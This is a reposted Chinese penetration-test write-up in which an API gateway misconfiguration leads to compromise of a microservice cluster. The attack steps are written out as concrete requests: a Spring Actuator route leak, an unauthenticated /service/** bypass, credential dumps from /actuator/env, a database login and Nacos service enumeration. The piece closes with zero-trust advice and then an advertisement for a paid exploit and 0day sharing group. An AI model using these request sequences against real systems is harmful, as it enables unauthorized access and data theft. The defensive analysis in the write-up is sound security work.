文章总结： 本文复盘一次APIGateway边界失效导致微服务集群失陷的渗透测试。攻击链为：通过Gateway路由信息泄露获取内部服务拓扑，利用未挂载认证过滤器的路径绕过认证直连后端服务，再通过SpringBootActuator泄露数据库凭据，最终经Nacos横向移动获取核心数据。核心问题是Gateway安全边界未覆盖全部流量路径。建议加强Gateway路由配置审计、后端服务独立认证、Actuator端点访问控制。
综合评分： 85
文章分类： 渗透测试,红队,内网渗透,WEB安全
记一次API Gateway边界失效导致微服务集群失陷的渗透测试复盘
AlbertJay
AlbertJay
陌笙不太懂安全
2026年9月22日 17:05
河北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号陌笙不太懂安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉，谢谢！
原文作者:AlbertJay原文链接:https://www.freebuf.com/articles/web/491127.html
0x00 前言
当企业把所有的信任都押在一道门上的时候，门的任何一道裂缝，都意味着整栋房子的失守。
微服务架构下，有一种根深蒂固的安全假设：”Gateway负责统一认证，后端服务天然安全。” 这句话听起来合情合理——所有外部请求都经过Gateway，由Gateway完成身份校验和权限拦截，后端微服务只需要安心处理业务逻辑。但问题是：如果Gateway本身配置错误，或者存在一条绕过Gateway直达后端的路径，那后端那些”天然安全”的服务，就变成了一个个敞开着大门的房间。
这篇文章记录了一次授权渗透测试中，从一个暴露在外网的Spring Cloud Gateway出发，通过路由信息泄露发现内部服务拓扑，随后找到了绕过Gateway认证直接访问后端微服务的路径，进而利用Spring Boot Actuator获取数据库凭据，最终通过Nacos服务注册中心横向渗透至管理服务，实现核心业务数据全面获取的完整过程。
整条攻击链的核心问题只有一个：API Gateway的安全边界没有覆盖全部流量路径，存在绕行通道。 但就是这一个问题，让整个微服务集群的认证体系形同虚设。
0x01 项目背景
随着微服务架构的普及，越来越多企业采用以下技术栈构建业务系统：
Spring Cloud Gateway —— API网关，负责统一路由和认证Nacos / Eureka —— 服务注册与发现中心Spring Boot —— 微服务应用框架MySQL / Redis —— 数据存储与缓存
典型架构如下：
企业通常认为：Gateway负责统一认证，后端服务天然安全——所有外部请求都经过Gateway拦截，后端微服务不需要各自实现认证逻辑。
这个假设在Gateway配置正确、路由无遗漏的前提下是成立的。但实际环境中，Gateway的配置错误、路由遗漏、或者存在未经过Gateway的直连路径，就可能导致整个微服务体系暴露。
而本次测试要验证的，正是这个假设到底能不能站得住脚。
0x02 资产发现：找到Gateway入口
拿到授权范围后，按惯例开始资产梳理。在子域名枚举和端口扫描的结果中，有三个子域名引起了我的注意：
gateway.xxx.comapi.xxx.comservice.xxx.com
其中 gateway.xxx.com 的响应头中带有明显的Spring Cloud Gateway特征：
HTTP/1.1 200Server: GatewayX-Application-Context: gateway:8080
Spring Cloud Gateway——目标存在微服务网关，且直接暴露在外网。
进一步访问根路径，返回了Gateway的默认Whitelabel页面，确认了指纹信息。
这是一个关键的起点——如果Gateway是整个微服务集群的”前门”，那么需要做的事情就是：搞清楚这扇门到底挡住了什么，以及有没有什么路径可以绕过它。
0x03 Gateway路由信息泄露：一张完整的内部地图
Gateway作为API路由的核心组件，它的路由配置表就是整个微服务集群的”地图”——哪些服务存在、服务的内部地址是什么、哪些路径被转发到哪些服务，全部记录在这张表里。
而Spring Cloud Gateway默认暴露了Actuator端点，其中 /actuator/gateway/routes 会返回完整的路由配置。
尝试访问：
GET /actuator/gateway/routes HTTP/1.1Host: gateway.xxx.com
返回200，完整的路由配置一览无余：
[{"route_id": "user-service","uri": "http://user-service:8080","predicates": ["Path=/api/user/**"],"filters": ["StripPrefix=1"]},{"route_id": "order-service","uri": "http://order-service:8081","predicates": ["Path=/api/order/**"],"filters": ["StripPrefix=1"]},{"route_id": "file-service","uri": "http://file-service:8082","predicates": ["Path=/api/file/**"],"filters": ["StripPrefix=1"]},{"route_id": "admin-service","uri": "http://admin-service:8083","predicates": ["Path=/api/admin/**"],"filters": ["StripPrefix=1"]}]
四个后端微服务的内部地址、端口和路由规则全部泄露。 这相当于攻击者拿到了一张完整的内部架构蓝图——知道有哪些服务、服务之间如何通信、哪些路径对应哪些服务。
但更关键的信息藏在路由规则的细节中：所有路由都只匹配 /api/** 前缀的路径，且认证过滤器（如 RequestRateLimiter、自定义AuthFilter）仅挂载在部分路由上。 这意味着可能存在不经过认证过滤器的路径——这是下一步攻击的关键线索。
0x04 绕过Gateway认证访问内部服务：找到那条”暗道”
拿到路由配置后，开始系统性地测试每条路径的认证情况。
正常请求：经过Gateway认证
GET /api/user/list HTTP/1.1Host: gateway.xxx.com
HTTP/1.1 401 Unauthorized{"message":"未授权访问，请先登录"}
正常路径需要携带Authorization Token，Gateway的认证过滤器生效了。
探测绕过路径
根据路由配置中的信息，我注意到Gateway的路由匹配规则使用了 Path=/api/** 前缀。这意味着如果存在其他前缀的路径能直接映射到后端服务，就可能绕过Gateway的认证过滤器。
逐一测试各种路径变体：
/api/user/list → 401 (需要认证)/v1/user/list → 404 (未匹配)/service/user/query → ???
当尝试 /service/user/query 这个路径时：
GET /service/user/query HTTP/1.1Host: gateway.xxx.com
HTTP/2 200 OKContent-Type: application/json
{"code": 200,"data": {"users": [{"username":"zhangxm","email":"[email protected]","role":"USER"},{"username":"lisi","email":"[email protected]","role":"USER"},{"username":"admin","email":"[email protected]","role":"ADMIN"}]}}
没有携带任何Token，没有经过认证过滤器，直接返回了用户数据。
这条路径绕过了Gateway的认证机制——/service/** 前缀的路由没有挂载认证过滤器，请求被直接转发到了后端用户服务。后端服务本身没有实现独立的认证逻辑（因为它”信任”Gateway已经完成了认证），所以对这个”从Gateway来的”请求直接放行。
Gateway配置了一个没有认证保护的路由规则，而后端服务对Gateway转发的请求无条件信任——两者的配置缺陷叠加，形成了一条绕过认证的”暗道”。
0x05 Spring Actuator信息泄露：后端服务的”裸奔”
找到绕过路径后，后端服务的地址（来自路由泄露），也知道后端服务没有独立的认证。那么接下来要做的事情就是：直接探测后端服务暴露了哪些接口。
由于路由泄露后端服务的内部名称和端口，通过Gateway构造请求来探测后端服务的Actuator端点：
GET /service/user/actuator/env HTTP/1.1Host: gateway.xxx.com
返回200——后端用户服务的Actuator环境变量端点完全开放：
{"propertySources": [{"name": "systemProperties","properties": {"MYSQL_HOST": {"value": "rm-xxxxxx.mysql.rds.aliyuncs.com"},"MYSQL_PORT": {"value": "3306"},"MYSQL_DATABASE": {"value": "biz_user"},"MYSQL_USER": {"value": "app_rw"}}},{"name": "applicationConfig","properties": {"spring.datasource.url": {"value": "jdbc:mysql://rm-xxxxxx.mysql.rds.aliyuncs.com:3306/biz_user"},"spring.datasource.username": {"value": "app_rw"},"spring.datasource.password": {"value": "Xk9#mP2$vL5nQ8"},"spring.redis.host": {"value": "r-xxxxxx.redis.rds.aliyuncs.com"},"spring.redis.password": {"value": "R3dis@Pr0d#2024"}}}]}
数据库连接地址、用户名、明文密码，Redis地址和密码——全部泄露。
随后继续探测其他Actuator端点：
/actuator/env --->环境变量、数据库凭据、Redis密码/actuator/configprops --->完整的应用配置属性/actuator/health --->各组件健康状态（间接暴露哪些组件在运行）/actuator/mappings --->所有API端点映射关系/actuator/beans --->Spring Bean列表（暴露完整的服务内部结构）
一个后端微服务的Actuator，等于一份完整的应用内部信息手册。
0x06 获取数据库访问权限：核心数据的全面暴露
根据Actuator泄露的数据库凭据，直接连接了生产数据库：
mysql -h rm-xxxxxx.mysql.rds.aliyuncs.com -u app_rw -p
Welcome to the MySQL monitor.mysql> SHOW DATABASES;
+--------------------+| biz_user || biz_order || biz_payment || biz_file |+--------------------+
USE biz_user;SHOW TABLES;
+---------------------+| Tables_in_biz_user |+---------------------+| user_info || user_auth || user_address || user_bank_card |+---------------------+
逐表查看数据结构和数据量：
SELECT COUNT(*) FROM user_info;-- 52318条用户记录
SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;
+------+----------+-------------+--------------------+----------------+| id | real_name| phone | id_card | email |+------+----------+-------------+--------------------+----------------+| 1 | 张** | 138*******8 | 31****199001**** | [email protected] || 2 | 李** | 139*******1 | 32****198812**** | [email protected] |+------+----------+-------------+--------------------+----------------+
除了用户基础信息外，user_bank_card表中还包含银行卡号，user_auth表中包含密码哈希和身份验证信息，biz_order和biz_payment数据库中包含完整的交易和支付记录。
通过Gateway绕过 → Actuator泄露 → 数据库凭据获取，已经完整拿到了多个业务数据库的访问权限。
0x07 服务横向移动：Nacos注册中心的”全景视角”
数据库已经到手，但测试的目标不止于此——要验证的是整个微服务集群的横向渗透能力。
在继续探测其他后端服务时，注意到Actuator的配置信息中暴露了一个关键组件的地址：
spring.cloud.nacos.discovery.server-addr=nacos.internal.xxx.com:8848
Nacos——阿里巴巴开源的服务注册与发现中心，整个微服务集群的”中枢”。 它知道每一个微服务的名称、地址和端口。
直接访问Nacos的开放API：
GET /nacos/v1/ns/instance/list?serviceName=user-service HTTP/1.1Host: nacos.internal.xxx.com:8848
{"hosts": [{"ip": "10.*.*.11", "port": 8080, "serviceName": "user-service"},{"ip": "10.*.*.12", "port": 8080, "serviceName": "user-service"}]}
继续枚举全部注册服务：
GET /nacos/v1/ns/service/list?pageNo=1&pageSize=100 HTTP/1.1Host: nacos.internal.xxx.com:8848
返回了完整的微服务列表：
┌─────────────────────────────────────────────────┐│ Nacos 服务注册列表 │├───────────────┬──────────────┬──────────────────┤│ 服务名称 │ 实例IP │ 端口 │├───────────────┼──────────────┼──────────────────┤│ user-service │ 10.*.*.11-12 │ 8080 ││ order-service │ 10.*.*.21-22 │ 8081 ││ file-service │ 10.*.*.31 │ 8082 ││ admin-service │ 10.*.*.41 │ 8083 ││ payment-svc │ 10.*.*.51-52 │ 8084 ││ notify-worker │ 10.*.*.61 │ 8085 │└───────────────┴──────────────┴──────────────────┘
六个微服务的完整拓扑——名称、内网IP、端口——全部暴露。
凭借这些信息，继续通过Gateway的路由绕过路径访问其他后端服务。在逐一测试后，确认 /service/order/** 和 /service/admin/** 路径同样存在认证绕过问题。
0x08 核心业务数据访问：管理服务的全面沦陷
最终目标指向了 admin-service——管理服务，它通常是整个微服务集群中权限最高、数据最敏感的节点。
通过绕过路径访问管理服务：
GET /service/admin/dashboard HTTP/1.1Host: gateway.xxx.com
{"code": 200,"data": {"totalUsers": 52318,"totalOrders": 128456,"todayRevenue": 156800.50,"activeAdmins": 3}}
管理后台仪表盘数据直接返回，无需任何认证。
继续枚举管理服务的接口：
/service/admin/users 用户管理 完整用户列表，含姓名、手机号、身份证/service/admin/orders 订单管理 全部订单详情，含金额、状态、支付信息/service/admin/export/users 用户数据导出 支持批量导出全量用户数据/service/admin/config 系统配置 各组件连接配置与凭据
管理服务的全部功能——用户管理、订单管理、数据导出、系统配置——均未做独立的权限校验，对任何到达的请求直接返回数据。
0x09 完整攻击链总结
Gateway暴露于公网↓/actuator/gateway/routes 路由信息泄露↓发现 /service/** 路径未挂载认证过滤器↓绕过Gateway认证，直接访问后端微服务↓后端服务Actuator暴露，获取数据库/Redis凭据↓连接生产数据库，获取全量业务数据↓通过Nacos注册中心发现全部微服务拓扑↓横向渗透至admin-service管理服务↓管理后台全面沦陷：用户管理、数据导出、系统配置
整条攻击链的核心矛盾在于一个安全假设的崩塌：企业假设”Gateway负责认证，后端服务不需要认证”，但Gateway本身存在认证绕过路径。 当这道唯一的防线被绕过后，后端所有微服务都处于”零认证”的状态——它们无条件信任来自Gateway的请求，而攻击者找到了一条不经认证过滤器就能到达后端的路径。
这不是一个”漏洞”的问题，而是一个架构层面的安全设计缺陷——零信任原则的缺失。在零信任架构下，每一个服务都应该独立验证请求的身份，而不是把全部信任押在单一的网关组件上。
结语
这次渗透测试最核心的发现，不是某个具体的漏洞，而是一个架构层面的安全假设的脆弱性。
“Gateway负责认证，后端服务天然安全”——这句话在很多技术方案评审中被当作”已解决”的前提条件。但现实是，Gateway的配置可能出错，路由规则可能遗漏，Actuator可能忘记关闭，而这些”可能”中的任何一个，都会导致整个微服务体系的认证体系全面崩塌。
零信任不是一个”可选项”，而是在微服务架构下的”必选项”。 每一个服务都应该假设：到达我的请求可能不是来自可信的Gateway，可能是来自一个绕过了认证的攻击者。因此，每一个服务都应该独立验证请求的身份和权限。
把全部鸡蛋放在一个篮子里的前提是——你必须确保这个篮子永远不会破。但在真实的安全对抗中，没有任何一个篮子是永远安全的。
后台回复加群加入交流群
广告：cisp pte/pts &nisp1级2级低价报考
陌笙安全纷传圈子+陌笙src挖掘知识库+陌笙安全漏洞库+陌笙安全面试题库简单介绍（加入纷传圈子送知识库+漏洞库+面试题库）
如果觉得合适可以加入,圈子目前价格39.9元，价格只会根据圈子内容和圈子人数进行上调，不会下跌。。。
圈子福利
edu漏洞挖掘1v1指导出洞
skill+grok辅助挖掘某企业src实战效果，能出但是重复多，agent独立挖掘也可以，见仁见智，看个人习惯，好的模型是最重要的。
企业src边缘&核心资产实战效果&&有重复但是证明好模型+AI确实够用
（图片仅供参考，我出不等于你出，见识到ai神力即可，多去用AI!!!）
不是P图,单洞1.2w记录
陌笙src挖掘知识库介绍（内容持续更新中!!!)
信息收集(主域名信息收集,子域名信息收集等&会永久提供fofa-key助力)弱口令漏洞&未授权访问漏洞挖掘任意文件读取&删除&下载&上传漏洞sql注入漏洞url重定向漏洞csrf&ssrf漏洞挖掘XSS&XXE漏洞挖掘等等常见漏洞cors&目录遍历&越权漏洞挖掘EDUSRC(证书站挖掘案例分享&edusrc挖掘技巧分享)CNVD挖掘技巧分享&实战案例报告编写公益漏洞挖掘（公益src挖掘漏洞分享&提供补天1权重资产）SRC挖掘实战(针对各种常见功能总结的常见测试思路等快速提升)经典常见Nday漏洞(常见中间件&以及各种常见框架)复现云安全相关漏洞挖掘（云key扫盲&云存储桶&快速识别云环境&云攻防）AI相关学习（AI基础&AI代码审计实战测试&webLLM攻击等）APP&小程序漏洞挖掘等各模块不在一一介绍
信息收集
src挖掘基础
src挖掘实战
edusrc
经典nday复现
云安全&AI安全
陌笙安全漏洞库介绍
最新漏洞查看1day&0day分享EDU学校相关漏洞Web应用漏洞CMS漏洞OA产品漏洞中间件漏洞云安全漏洞人工智能漏洞其他漏洞
陌笙安全面试库
渗透测试基本问题一汇总渗透测试基本问题二汇总渗透测试基本问题三汇总微步护网面试题目长亭科技面试深信服护网面试启明星辰渗透测试面试题目安恒面试题目绿盟笔试题目360面试奇安信护网面试运维面试题目运维面试题库网安面试相关文档大全相关面试文章推荐等等
POC库&&更新适配afrog&&nuclei&&dddd的POC&1day/Nday等&&dddd二开工具[助力渗透测试&&红蓝攻防]**
工具截图
实战效果
poc库【后续持续更新】
AI赋能-skill辅助漏洞挖掘（免责&&慎用）
圈友skill+ai辅助渗透实战效果，支持打假！
证书站
普通站点
陌笙纷传圈子介绍
1、src挖掘思维导图，信息收集思维导图，edusrc挖掘思维导图，以及后续的红队&面试思维导图&自己网安笔记等持续更新2、2025-2026的edusrc实战报告包含证书站和非证书站以及2025之前的各种优质报思路分享3、各种src报告思路分享（内部&外部）4、分享各种src挖掘&edusrc挖掘培训资料&视频5、不定期分享通杀、0day6、有圈子群可以技术交流以及不定期抽取证书&免费rank7.分享各种护网资料各家安全厂商讲解视频&精选实战面试题目8、各种框架漏洞技巧分享9、各种源码分享（泛微、正方系统、用友等）10、漏洞挖掘工具&信息收集工具&内网渗透免杀等网安工具分享11、各种ctf资料以及题目分享12、cnvd挖掘技巧&CNVD资产&src资产分享&补天1权重资产分享&fofakey共用13、免杀、逆向、红队攻内网防渗透等课程分享14、漏洞库&字典以各种内容不在一一说明15、cisp-pte/pts&nisp一级&nisp二级&edusrc证书内部价格15、如果有漏洞挖掘问题或者工具资料需求可以找群主(尽量满足)
目前800多条内容，扫描下方二维码查看详情以及加入圈子，持续更新中。。
如果觉得合适可以加入，价格不定期会根据圈子内容和圈子人数进行上调。。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：陌笙不太懂安全 AlbertJay
AlbertJay《记一次API Gateway边界失效导致微服务集群失陷的渗透测试复盘》